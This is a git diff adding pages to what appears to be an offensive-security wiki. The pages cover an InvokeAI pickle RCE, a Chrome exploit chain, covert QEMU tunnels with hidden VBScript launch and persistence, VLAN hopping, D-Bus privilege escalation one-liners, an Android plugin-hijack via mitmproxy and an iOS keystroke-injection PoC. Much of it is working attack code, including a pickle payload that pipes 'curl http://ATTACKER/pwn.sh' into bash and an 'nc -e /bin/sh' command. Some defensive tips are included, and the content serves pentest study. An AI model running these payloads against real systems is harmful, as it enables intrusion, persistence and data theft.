diff --git a/src/AI/AI-Models-RCE.md b/src/AI/AI-Models-RCE.md index 746479178..6b779018d 100644 --- a/src/AI/AI-Models-RCE.md +++ b/src/AI/AI-Models-RCE.md @@ -23,10 +23,86 @@ At the time of the writting these are some examples of this type of vulneravilit | **Keras (older formats)** | *(No new CVE)* Legacy Keras H5 model | Malicious HDF5 (`.h5`) model with Lambda layer code still executes on load (Keras safe_mode doesn’t cover old format – “downgrade attack”) | | | **Others** (general) | *Design flaw* – Pickle serialization | Many ML tools (e.g., pickle-based model formats, Python `pickle.load`) will execute arbitrary code embedded in model files unless mitigated | | - Moreover, there some python pickle based models like the ones used by [PyTorch](https://github.com/pytorch/pytorch/security) that can be used to execute arbitrary code on the system if they are not loaded with `weights_only=True`. So, any pickle based model might be specially susceptible to this type of attacks, even if they are not listed in the table above. -Example: +### 🆕 InvokeAI RCE via `torch.load` (CVE-2024-12029) + +`InvokeAI` is a popular open-source web interface for Stable-Diffusion. Versions **5.3.1 – 5.4.2** expose the REST endpoint `/api/v2/models/install` that lets users download and load models from arbitrary URLs. + +Internally the endpoint eventually calls: + +```python +checkpoint = torch.load(path, map_location=torch.device("meta")) +``` + +When the supplied file is a **PyTorch checkpoint (`*.ckpt`)**, `torch.load` performs a **pickle deserialization**. Because the content comes directly from the user-controlled URL, an attacker can embed a malicious object with a custom `__reduce__` method inside the checkpoint; the method is executed **during deserialization**, leading to **remote code execution (RCE)** on the InvokeAI server. + +The vulnerability was assigned **CVE-2024-12029** (CVSS 9.8, EPSS 61.17 %). + +#### Exploitation walk-through + +1. Create a malicious checkpoint: + +```python +# payload_gen.py +import pickle, torch, os + +class Payload: + def __reduce__(self): + return (os.system, ("/bin/bash -c 'curl http://ATTACKER/pwn.sh|bash'",)) + +with open("payload.ckpt", "wb") as f: + pickle.dump(Payload(), f) +``` + +2. Host `payload.ckpt` on an HTTP server you control (e.g. `http://ATTACKER/payload.ckpt`). +3. Trigger the vulnerable endpoint (no authentication required): + +```python +import requests + +requests.post( + "http://TARGET:9090/api/v2/models/install", + params={ + "source": "http://ATTACKER/payload.ckpt", # remote model URL + "inplace": "true", # write inside models dir + # the dangerous default is scan=false → no AV scan + }, + json={}, # body can be empty + timeout=5, +) +``` + +4. When InvokeAI downloads the file it calls `torch.load()` → the `os.system` gadget runs and the attacker gains code execution in the context of the InvokeAI process. + +Ready-made exploit: **Metasploit** module `exploit/linux/http/invokeai_rce_cve_2024_12029` automates the whole flow. + +#### Conditions + +• InvokeAI 5.3.1-5.4.2 (scan flag default **false**) +• `/api/v2/models/install` reachable by the attacker +• Process has permissions to execute shell commands + +#### Mitigations + +* Upgrade to **InvokeAI ≥ 5.4.3** – the patch sets `scan=True` by default and performs malware scanning before deserialization. +* When loading checkpoints programmatically use `torch.load(file, weights_only=True)` or the new [`torch.load_safe`](https://pytorch.org/docs/stable/serialization.html#security) helper. +* Enforce allow-lists / signatures for model sources and run the service with least-privilege. + +> ⚠️ Remember that **any** Python pickle-based format (including many `.pt`, `.pkl`, `.ckpt`, `.pth` files) is inherently unsafe to deserialize from untrusted sources. + +--- + +Example of an ad-hoc mitigation if you must keep older InvokeAI versions running behind a reverse proxy: + +```nginx +location /api/v2/models/install { + deny all; # block direct Internet access + allow 10.0.0.0/8; # only internal CI network can call it +} +``` + +## Example – crafting a malicious PyTorch model - Create the model: @@ -67,7 +143,6 @@ model.load_state_dict(torch.load("malicious_state.pth", weights_only=False)) # /tmp/pwned.txt is created even if you get an error ``` - ## Models to Path Traversal As commented in [**this blog post**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties), most models formats used by different AI frameworks are based on archives, usually `.zip`. Therefore, it might be possible to abuse these formats to perform path traversal attacks, allowing to read arbitrary files from the system where the model is loaded. @@ -102,4 +177,11 @@ with tarfile.open("symlink_demo.model", "w:gz") as tf: tf.add(PAYLOAD) # rides the symlink ``` -{{#include ../banners/hacktricks-training.md}} +## References + +- [OffSec blog – "CVE-2024-12029 – InvokeAI Deserialization of Untrusted Data"](https://www.offsec.com/blog/cve-2024-12029/) +- [InvokeAI patch commit 756008d](https://github.com/invoke-ai/invokeai/commit/756008dc5899081c5aa51e5bd8f24c1b3975a59e) +- [Rapid7 Metasploit module documentation](https://www.rapid7.com/db/modules/exploit/linux/http/invokeai_rce_cve_2024_12029/) +- [PyTorch – security considerations for torch.load](https://pytorch.org/docs/stable/notes/serialization.html#security) + +{{#include ../banners/hacktricks-training.md}} \ No newline at end of file diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 596676a81..09ba11160 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -283,6 +283,7 @@ - [Privileged Groups](windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md) - [RDP Sessions Abuse](windows-hardening/active-directory-methodology/rdp-sessions-abuse.md) - [Resource-based Constrained Delegation](windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md) + - [Sccm Management Point Relay Sql Policy Secrets](windows-hardening/active-directory-methodology/sccm-management-point-relay-sql-policy-secrets.md) - [Security Descriptors](windows-hardening/active-directory-methodology/security-descriptors.md) - [SID-History Injection](windows-hardening/active-directory-methodology/sid-history-injection.md) - [Silver Ticket](windows-hardening/active-directory-methodology/silver-ticket.md) @@ -334,6 +335,7 @@ - [Frida Tutorial 3](mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md) - [Objection Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md) - [Google CTF 2018 - Shall We Play a Game?](mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md) + - [Insecure In App Update Rce](mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md) - [Install Burp Certificate](mobile-pentesting/android-app-pentesting/install-burp-certificate.md) - [Intent Injection](mobile-pentesting/android-app-pentesting/intent-injection.md) - [Make APK Accept CA Certificate](mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md) @@ -347,6 +349,7 @@ - [Webview Attacks](mobile-pentesting/android-app-pentesting/webview-attacks.md) - [iOS Pentesting Checklist](mobile-pentesting/ios-pentesting-checklist.md) - [iOS Pentesting](mobile-pentesting/ios-pentesting/README.md) + - [Air Keyboard Remote Input Injection](mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md) - [iOS App Extensions](mobile-pentesting/ios-pentesting/ios-app-extensions.md) - [iOS Basics](mobile-pentesting/ios-pentesting/ios-basics.md) - [iOS Basic Testing Operations](mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md) @@ -759,6 +762,7 @@ - [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md) - [SROP - ARM64](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md) - [Array Indexing](binary-exploitation/array-indexing.md) +- [Chrome Exploiting](binary-exploitation/chrome-exploiting.md) - [Integer Overflow](binary-exploitation/integer-overflow.md) - [Format Strings](binary-exploitation/format-strings/README.md) - [Format Strings - Arbitrary Read Example](binary-exploitation/format-strings/format-strings-arbitrary-read-example.md) diff --git a/src/binary-exploitation/chrome-exploiting.md b/src/binary-exploitation/chrome-exploiting.md new file mode 100644 index 000000000..9ec08433a --- /dev/null +++ b/src/binary-exploitation/chrome-exploiting.md @@ -0,0 +1,184 @@ +# Chrome Exploiting + +{{#include ../banners/hacktricks-training.md}} + +> This page provides a high-level yet **practical** overview of a modern "full-chain" exploitation workflow against Google Chrome 130 based on the research series **“101 Chrome Exploitation”** (Part-0 — Preface). +> The goal is to give pentesters and exploit-developers the minimum background necessary to reproduce or adapt the techniques for their own research. + +## 1. Chrome Architecture Recap +Understanding the attack surface requires knowing where code is executed and which sandboxes apply. + +``` ++-------------------------------------------------------------------------+ +| Chrome Browser | +| | +| +----------------------------+ +-----------------------------+ | +| | Renderer Process | | Browser/main Process | | +| | [No direct OS access] | | [OS access] | | +| | +----------------------+ | | | | +| | | V8 Sandbox | | | | | +| | | [JavaScript / Wasm] | | | | | +| | +----------------------+ | | | | +| +----------------------------+ +-----------------------------+ | +| | IPC/Mojo | | +| V | | +| +----------------------------+ | | +| | GPU Process | | | +| | [Restricted OS access] | | | +| +----------------------------+ | | ++-------------------------------------------------------------------------+ +``` + +Layered defence-in-depth: + +* **V8 sandbox** (Isolate): memory permissions are restricted to prevent arbitrary read/write from JITed JS / Wasm. +* **Renderer ↔ Browser split** ensured via **Mojo/IPC** message passing; the renderer has *no* native FS/network access. +* **OS sandboxes** further contain each process (Windows Integrity Levels / `seccomp-bpf` / macOS sandbox profiles). + +A *remote* attacker therefore needs **three** successive primitives: + +1. Memory corruption inside V8 to get **arbitrary RW inside the V8 heap**. +2. A second bug allowing the attacker to **escape the V8 sandbox to full renderer memory**. +3. A final sandbox-escape (often logic rather than memory corruption) to execute code **outside of the Chrome OS sandbox**. + +--- + +## 2. Stage 1 – WebAssembly Type-Confusion (CVE-2025-0291) + +A flaw in TurboFan’s **Turboshaft** optimisation mis-classifies **WasmGC reference types** when the value is produced and consumed inside a *single basic block loop*. + +Effect: +* The compiler **skips the type-check**, treating a *reference* (`externref/anyref`) as an *int64*. +* Crafted Wasm allows overlapping a JS object header with attacker-controlled data → addrOf() & fakeObj() **AAW / AAR primitives**. + +Minimal PoC (excerpt): + +```WebAssembly +(module + (type $t0 (func (param externref) (result externref))) + (func $f (param $p externref) (result externref) + (local $l externref) + block $exit + loop $loop + local.get $p ;; value with real ref-type + ;; compiler incorrectly re-uses it as int64 in the same block + br_if $exit ;; exit condition keeps us single-block + br $loop + end + end) + (export "f" (func $f))) +``` + +Trigger optimisation & spray objects from JS: + +```js +const wasmMod = new WebAssembly.Module(bytes); +const wasmInst = new WebAssembly.Instance(wasmMod); +const f = wasmInst.exports.f; + +for (let i = 0; i < 1e5; ++i) f({}); // warm-up for JIT + +// primitives +let victim = {m: 13.37}; +let fake = arbitrary_data_backed_typedarray; +let addrVict = addrOf(victim); +``` + +Outcome: **arbitrary read/write within V8**. + +--- + +## 3. Stage 2 – Escaping the V8 Sandbox (issue 379140430) + +When a Wasm function is tier-up-compiled, a **JS ↔ Wasm wrapper** is generated. A signature-mismatch bug causes the wrapper to write past the end of a trusted **`Tuple2`** object when the Wasm function is re-optimised *while still on the stack*. + +Overwriting the 2 × 64-bit fields of the `Tuple2` object yields **read/write on any address inside the Renderer process**, effectively bypassing the V8 sandbox. + +Key steps in exploit: +1. Get function into **Tier-Up** state by alternating turbofan/baseline code. +2. Trigger tier-up while keeping a reference on the stack (`Function.prototype.apply`). +3. Use Stage-1 AAR/AAW to find & corrupt the adjacent `Tuple2`. + +Wrapper identification: + +```js +function wrapperGen(arg) { + return f(arg); +} +%WasmTierUpFunction(f); // force tier-up (internals-only flag) +wrapperGen(0x1337n); +``` + +After corruption we possess a fully-featured **renderer R/W primitive**. + +--- + +## 4. Stage 3 – Renderer → OS Sandbox Escape (CVE-2024-11114) + +The **Mojo** IPC interface `blink.mojom.DragService.startDragging()` can be called from the Renderer with *partially trusted* parameters. By crafting a `DragData` structure pointing to an **arbitrary file path** the renderer convinces the browser to perform a *native* drag-and-drop **outside the renderer sandbox**. + +Abusing this we can programmatically “drag” a malicious EXE (previously dropped in a world-writable location) onto the Desktop, where Windows automatically executes certain file-types once dropped. + +Example (simplified): + +```js +const payloadPath = "C:\\Users\\Public\\explorer.exe"; + +chrome.webview.postMessage({ + type: "DragStart", + data: { + title: "MyFile", + file_path: payloadPath, + mime_type: "application/x-msdownload" + } +}); +``` + +No additional memory corruption is necessary – the **logic flaw** gives us arbitrary file execution with the user’s privileges. + +--- + +## 5. Full Chain Flow + +1. **User visits** malicious webpage. +2. **Stage 1**: Wasm module abuses CVE-2025-0291 → V8 heap AAR/AAW. +3. **Stage 2**: Wrapper mismatch corrupts `Tuple2` → escape V8 sandbox. +4. **Stage 3**: `startDragging()` IPC → escape OS sandbox & execute payload. + +Result: **Remote Code Execution (RCE)** on the host (Chrome 130, Windows/Linux/macOS). + +--- + +## 6. Lab & Debugging Setup + +```bash +# Spin-up local HTTP server w/ PoCs +npm i -g http-server +git clone https://github.com/Petitoto/chromium-exploit-dev +cd chromium-exploit-dev +http-server -p 8000 -c -1 + +# Windows kernel debugging +"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols +``` + +Useful flags when launching a *development* build of Chrome: + +```bash +chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax" +``` + +--- + +## Takeaways + +* **WebAssembly JIT bugs** remain a reliable entry-point – the type system is still young. +* Obtaining a second memory-corruption bug inside V8 (e.g. wrapper mismatch) greatly simplifies **V8-sandbox escape**. +* Logic-level weaknesses in privileged Mojo IPC interfaces are often sufficient for a **final sandbox escape** – keep an eye on *non-memory* bugs. + + + +## References +* [101 Chrome Exploitation — Part 0 (Preface)](https://opzero.ru/en/press/101-chrome-exploitation-part-0-preface/) +* [Chromium security architecture](https://chromium.org/developers/design-documents/security) +{{#include ../banners/hacktricks-training.md}} diff --git a/src/generic-hacking/tunneling-and-port-forwarding.md b/src/generic-hacking/tunneling-and-port-forwarding.md index 279c0e9f3..6fa2e0829 100644 --- a/src/generic-hacking/tunneling-and-port-forwarding.md +++ b/src/generic-hacking/tunneling-and-port-forwarding.md @@ -726,11 +726,73 @@ ssh -R :80:127.0.0.1:8080 v0@attacker_ip -p 2200 tcp --proxy_name web --remote_p The above command publishes the victim’s port **8080** as **attacker_ip:9000** without deploying any additional tooling – ideal for living-off-the-land pivoting. +## Covert VM-based Tunnels with QEMU + +QEMU’s user-mode networking (`-netdev user`) supports an option called `hostfwd` that **binds a TCP/UDP port on the *host* and forwards it into the *guest***. When the guest runs a full SSH daemon, the hostfwd rule gives you a disposable SSH jump box that lives entirely inside an ephemeral VM – perfect for hiding C2 traffic from EDR because all malicious activity and files stay in the virtual disk. + +### Quick one-liner + +```powershell +# Windows victim (no admin rights, no driver install – portable binaries only) +qemu-system-x86_64.exe ^ + -m 256M ^ + -drive file=tc.qcow2,if=ide ^ + -netdev user,id=n0,hostfwd=tcp::2222-:22 ^ + -device e1000,netdev=n0 ^ + -nographic +``` + +• The command above launches a **Tiny Core Linux** image (`tc.qcow2`) in RAM. +• Port **2222/tcp** on the Windows host is transparently forwarded to **22/tcp** inside the guest. +• From the attacker’s point of view the target simply exposes port 2222; any packets that reach it are handled by the SSH server running in the VM. + +### Launching stealthily through VBScript + +```vb +' update.vbs – lived in C:\ProgramData\update +Set o = CreateObject("Wscript.Shell") +o.Run "stl.exe -m 256M -drive file=tc.qcow2,if=ide -netdev user,id=n0,hostfwd=tcp::2222-:22", 0 +``` + +Running the script with `cscript.exe //B update.vbs` keeps the window hidden. + +### In-guest persistence + +Because Tiny Core is stateless, attackers usually: + +1. Drop payload to `/opt/123.out` +2. Append to `/opt/bootlocal.sh`: + + ```sh + while ! ping -c1 45.77.4.101; do sleep 2; done + /opt/123.out + ``` + +3. Add `home/tc` and `opt` to `/opt/filetool.lst` so the payload is packed into `mydata.tgz` on shutdown. + +### Why this evades detection + +• Only two unsigned executables (`qemu-system-*.exe`) touch disk; no drivers or services are installed. +• Security products on the host see **benign loopback traffic** (the actual C2 terminates inside the VM). +• Memory scanners never analyse the malicious process space because it lives in a different OS. + +### Defender tips + +• Alert on **unexpected QEMU/VirtualBox/KVM binaries** in user-writable paths. +• Block outbound connections that originate from `qemu-system*.exe`. +• Hunt for rare listening ports (2222, 10022, …) binding immediately after a QEMU launch. + +--- + ## Other tools to check - [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf) - [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy) +## References + +- [Hiding in the Shadows: Covert Tunnels via QEMU Virtualization](https://trustedsec.com/blog/hiding-in-the-shadows-covert-tunnels-via-qemu-virtualization) + {{#include ../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md b/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md index d380863a2..5ebe43473 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md +++ b/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md @@ -60,11 +60,84 @@ Connectivity is tested by initiating ICMP requests to the default gateways for V Ultimately, this process enables bypassing of VLAN segmentation, thereby facilitating unrestricted access to any VLAN network, and setting the stage for subsequent actions. +--- + +## Other VLAN-Hopping Techniques (no privileged switch CLI) + +The previous method assumes authenticated console or Telnet/SSH access to the switch. In real-world engagements the attacker is usually connected to a **regular access port**. The following Layer-2 tricks often let you pivot laterally without ever logging into the switch OS: + +### 1. Switch-Spoofing with Dynamic Trunking Protocol (DTP) + +Cisco switches that keep DTP enabled will happily negotiate a trunk if the peer claims to be a switch. Crafting a single **DTP “desirable”** or **“trunk”** frame converts the access port into an 802.1Q trunk that carries *all* allowed VLANs. + +*Yersinia* and several PoCs automate the process: + +```bash +# Become a trunk using Yersinia (GUI) +$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking + +# Python PoC (dtp-spoof) +$ git clone https://github.com/fleetcaptain/dtp-spoof.git +$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable +``` + +Once the port switches to trunk you can create 802.1Q sub-interfaces and pivot exactly as shown in the previous section. Modern Linux kernels no longer require *vconfig*; instead use *ip link*: + +```bash +sudo modprobe 8021q +sudo ip link add link eth0 name eth0.30 type vlan id 30 +sudo ip addr add 10.10.30.66/24 dev eth0.30 +sudo ip link set eth0.30 up +``` + +### 2. Double-Tagging (Native-VLAN Abuse) + +If the attacker sits on the **native (untagged) VLAN**, a crafted frame with *two* 802.1Q headers can "hop" to a second VLAN even when the port is locked in access mode. Tooling such as **VLANPWN DoubleTagging.py** (2022-2024 refresh) automates the injection: + +```bash +python3 DoubleTagging.py \ + --interface eth0 \ + --nativevlan 1 \ + --targetvlan 20 \ + --victim 10.10.20.24 \ + --attacker 10.10.1.54 +``` + +Packet walk-through: +1. Outer tag (1) is stripped by the first switch because it matches the native VLAN. +2. Inner tag (20) is now exposed; the frame is forwarded onto the trunk towards VLAN 20. + +The technique still works in 2025 on networks that leave the native VLAN at the default and accept untagged frames . + +### 3. QinQ (802.1ad) Stacking + +Many enterprise cores support *Q-in-Q* service provider encapsulation. Where permitted, an attacker can tunnel arbitrary 802.1Q-tagged traffic inside a provider (S-tag) to cross security zones. Capture for 802.1ad ethertype 0x88a8 and attempt to pop the outer tag with Scapy: + +```python +from scapy.all import * +outer = 100 # Service tag +inner = 30 # Customer / target VLAN +payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ICMP() +frame = Dot1Q(type=0x88a8, vlan=outer)/payload +sendp(frame, iface="eth0") +``` + +--- + +## Defensive Recommendations + +1. Disable DTP on all user-facing ports: `switchport mode access` + `switchport nonegotiate`. +2. Change the native VLAN on every trunk to an **unused, black-hole VLAN** and tag it: `vlan dot1q tag native`. +3. Prune unnecessary VLANs on trunks: `switchport trunk allowed vlan 10,20`. +4. Enforce port security, DHCP snooping & dynamic ARP inspection to limit rogue Layer-2 activity. +5. Prefer private-VLANs or L3 segmentation instead of relying solely on 802.1Q separation. + +--- + ## References - [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) +- VLANPWN attack toolkit – +- Twingate "What is VLAN Hopping?" (Aug 2024) – {{#include ../../banners/hacktricks-training.md}} - - - diff --git a/src/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md b/src/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md index 8e57a9730..e93f4e070 100644 --- a/src/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md @@ -464,11 +464,77 @@ finish: } ``` +## Automated Enumeration Helpers (2023-2025) + +Enumeration of a large D-Bus attack surface manually with `busctl`/`gdbus` quickly becomes painful. Two small FOSS utilities released in the last few years can speed things up during red-team or CTF engagements: + +### dbusmap ("Nmap for D-Bus") +* Author: @taviso – [https://github.com/taviso/dbusmap](https://github.com/taviso/dbusmap) +* Written in C; single static binary (<50 kB) that walks every object path, pulls the `Introspect` XML and maps it to the owning PID/UID. +* Useful flags: + ```bash + # List every service on the *system* bus and dump all callable methods + sudo dbus-map --dump-methods + + # Actively probe methods/properties you can reach without Polkit prompts + sudo dbus-map --enable-probes --null-agent --dump-methods --dump-properties + ``` +* The tool marks unprotected well-known names with `!`, instantly revealing services you can *own* (take over) or method calls that are reachable from an unprivileged shell. + +### uptux.py +* Author: @initstring – [https://github.com/initstring/uptux](https://github.com/initstring/uptux) +* Python-only script that looks for *writable* paths in systemd units **and** overly-permissive D-Bus policy files (e.g. `send_destination="*"`). +* Quick usage: + ```bash + python3 uptux.py -n # run all checks but don’t write a log file + python3 uptux.py -d # enable verbose debug output + ``` +* The D-Bus module searches the directories below and highlights any service that can be spoofed or hijacked by a normal user: + * `/etc/dbus-1/system.d/` and `/usr/share/dbus-1/system.d/` + * `/etc/dbus-1/system-local.d/` (vendor overrides) + +--- + +## Notable D-Bus Privilege-Escalation Bugs (2024-2025) + +Keeping an eye on recently published CVEs helps spotting similar insecure patterns in custom code. The following high-impact local EoP issues all stem from missing authentication/authorization on the **system bus**: + +| Year | CVE | Component | Root Cause | One-Liner PoC | +|------|-----|-----------|------------|---------------| +| 2024 | CVE-2024-45752 | `logiops` ≤ 0.3.4 (Logitech HID daemon) | The `logid` system service exposes an unrestricted `org.freedesktop.Logiopsd` interface that lets *any* user change device profiles and inject arbitrary shell commands via macro strings. | `gdbus call -y -d org.freedesktop.Logiopsd -o /org/freedesktop/Logiopsd -m org.freedesktop.Logiopsd.LoadConfig "/tmp/pwn.yml"` | +| 2025 | CVE-2025-23222 | Deepin `dde-api-proxy` ≤ 1.0.18 | A root-running proxy forwards legacy bus names to backend services **without forwarding caller UID/Polkit context**, so every forwarded request is treated as UID 0. | `gdbus call -y -d com.deepin.daemon.Grub2 -o /com/deepin/daemon/Grub2 -m com.deepin.daemon.Grub2.SetTimeout 1` | +| 2025 | CVE-2025-3931 | Red Hat Insights `yggdrasil` ≤ 0.4.6 | Public `Dispatch` method lacks any ACLs → attacker can order the *package-manager* worker to install arbitrary RPMs. | `dbus-send --system --dest=com.redhat.yggdrasil /com/redhat/Dispatch com.redhat.yggdrasil.Dispatch string:'{"worker":"pkg","action":"install","pkg":"nc -e /bin/sh"}'` | + +Patterns to notice: +1. Service runs **as root on the system bus**. +2. No PolicyKit check (or it is bypassed by a proxy). +3. Method ultimately leads to `system()`/package installation/device re-configuration → code execution. + +Use `dbusmap --enable-probes` or manual `busctl call` to confirm whether a patch back-ports proper `polkit_authority_check_authorization()` logic. + +--- + +## Hardening & Detection Quick-Wins + +* Search for world-writable or *send/receive*-open policies: + ```bash + grep -R --color -nE '` nodes contain **Base64-encoded, DES-ECB encrypted** JSON describing every available plugin. + +Typical hunting steps: +1. Locate the crypto routine (e.g. `RemoteServiceProxy`) and recover: + * algorithm (DES / AES / RC4 …) + * mode of operation (ECB / CBC / GCM …) + * hard-coded key / IV (often 56-bit DES keys or 128-bit AES keys in constants) +2. Re-implement the function in Python to decrypt / encrypt the metadata: + +```python +from Crypto.Cipher import DES +from base64 import b64decode, b64encode + +KEY = IV = b"\x2A\x10\x2A\x10\x2A\x10\x2A" # 56-bit key observed in AnyScan + +def decrypt_metadata(data_b64: str) -> bytes: + cipher = DES.new(KEY, DES.MODE_ECB) + return cipher.decrypt(b64decode(data_b64)) + +def encrypt_metadata(plaintext: bytes) -> str: + cipher = DES.new(KEY, DES.MODE_ECB) + return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode() +``` + +## 3. Craft a Malicious Plugin + +1. Pick any legitimate plugin ZIP and replace the native library with your payload: + +```c +// libscan_x64.so – constructor runs as soon as the library is loaded +__attribute__((constructor)) +void init(void){ + __android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid()); + // spawn reverse shell, drop file, etc. +} +``` + +```bash +$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so +$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt +``` + +2. Update the JSON metadata so that `"FileName" : "PWNED.zip"` and `"DownloadURL"` points to your HTTP server. +3. DES-encrypt + Base64-encode the modified JSON and copy it back inside the intercepted XML. + +## 4. Deliver the Payload with mitmproxy + +`addon.py` example that *silently* swaps the original metadata: + +```python +from mitmproxy import http +MOD_XML = open("fake_metadata.xml", "rb").read() + +def request(flow: http.HTTPFlow): + if b"/UpgradeService.asmx/GetUpdateListEx" in flow.request.path: + flow.response = http.Response.make( + 200, + MOD_XML, + {"Content-Type": "text/xml"} + ) +``` + +Run a simple web server to host the malicious ZIP: +```bash +python3 -m http.server 8000 --directory ./payloads +``` + +When the victim launches the app it will: +* fetch our forged XML over the MITM channel; +* decrypt & parse it with the hard-coded DES key; +* download `PWNED.zip` → unzip inside private storage; +* `dlopen()` the included *libscan_x64.so*, instantly executing our code **with the app’s permissions** (camera, GPS, Bluetooth, filesystem, …). + +Because the plugin is cached on disk the backdoor **persists across reboots** and runs every time the user selects the related feature. + +## 5. Post-Exploitation Ideas + +* Steal session cookies, OAuth tokens, or JWTs stored by the app. +* Drop a second-stage APK and silently install it via `pm install` (the app already has `REQUEST_INSTALL_PACKAGES`). +* Abuse any connected hardware – in the AnyScan scenario you can send arbitrary **OBD-II / CAN bus commands** (unlock doors, disable ABS, etc.). + +--- +### Detection & Mitigation Checklist (blue team) + +* NEVER ship a production build with a custom TrustManager/HostnameVerifier that disables certificate validation. +* Do not download executable code from outside Google Play. If you *must*, sign each plugin with the same **apkSigning v2** key and verify the signature before loading. +* Replace weak/hard-coded crypto with **AES-GCM** and a server-side rotating key. +* Validate the integrity of downloaded archives (signature or at least SHA-256). + +--- +## References + +- [NowSecure – Remote Code Execution Discovered in Xtool AnyScan App](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/) +- [Android – Unsafe TrustManager patterns](https://developer.android.com/privacy-and-security/risks/unsafe-trustmanager) + +{{#include ../../banners/hacktricks-training.md}} \ No newline at end of file diff --git a/src/mobile-pentesting/ios-pentesting/README.md b/src/mobile-pentesting/ios-pentesting/README.md index a98928b5f..bc38b67b0 100644 --- a/src/mobile-pentesting/ios-pentesting/README.md +++ b/src/mobile-pentesting/ios-pentesting/README.md @@ -1148,6 +1148,12 @@ To identify the libraries an application uses, the **`otool`** command can be em otool -L ``` +## Interesting Vulnerabilities & Case Studies + +{{#ref}} +air-keyboard-remote-input-injection.md +{{#endref}} + ## **References & More Resources** - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering) diff --git a/src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md b/src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md new file mode 100644 index 000000000..c6f998bae --- /dev/null +++ b/src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md @@ -0,0 +1,104 @@ +# Air Keyboard Remote Input Injection (Unauthenticated TCP Listener) + +{{#include ../../banners/hacktricks-training.md}} + +## TL;DR + +The iOS version of the commercial "Air Keyboard" application (App Store ID 6463187929) opens a **clear-text TCP service on port 8888** that accepts keystroke frames **without any authentication**. +Any device on the same Wi-Fi network can connect to that port and inject arbitrary keyboard input into the victim’s phone, achieving **full remote interaction hijacking**. + +A companion Android build listens on **port 55535**. It performs a weak AES-ECB handshake, but crafted garbage causes an **unhandled exception in the OpenSSL decryption routine**, crashing the background service (**DoS**). + +## 1. Service Discovery + +Scan the local network and look for the two fixed ports used by the apps: + +```bash +# iOS (input-injection) +nmap -p 8888 --open 192.168.1.0/24 + +# Android (weakly-authenticated service) +nmap -p 55535 --open 192.168.1.0/24 +``` + +On Android handsets you can identify the responsible package locally: + +```bash +adb shell netstat -tulpn | grep 55535 # no root required on emulator + +# rooted device / Termux +netstat -tulpn | grep LISTEN +ls -l /proc//cmdline # map PID → package name +``` + +## 2. Frame Format (iOS) + +The binary reveals the following parsing logic inside the `handleInputFrame()` routine: + +``` +[length (2 bytes little-endian)] +[device_id (1 byte)] +[payload ASCII keystrokes] +``` + +The declared length includes the `device_id` byte **but not** the two-byte header itself. + +## 3. Exploitation PoC + +```python +#!/usr/bin/env python3 +"""Inject arbitrary keystrokes into Air Keyboard for iOS""" +import socket, sys + +target_ip = sys.argv[1] # e.g. 192.168.1.50 +keystrokes = b"open -a Calculator\n" # payload visible to the user + +frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8]) +frame += b"\x01" # device_id = 1 (hard-coded) +frame += keystrokes + +with socket.create_connection((target_ip, 8888)) as s: + s.sendall(frame) +print("Injected", keystrokes) +``` + +Any printable ASCII (including `\n`, `\r`, special keys, etc.) can be sent, effectively granting the attacker the same power as physical user input: launching apps, sending IMs, visiting phishing URLs, etc. + +## 4. Android Companion – Denial-of-Service + +The Android port (55535) expects a 4-character password encrypted with a **hard-coded AES-128-ECB key** followed by a random nonce. Parsing errors bubble up to `AES_decrypt()` and are not caught, terminating the listener thread. 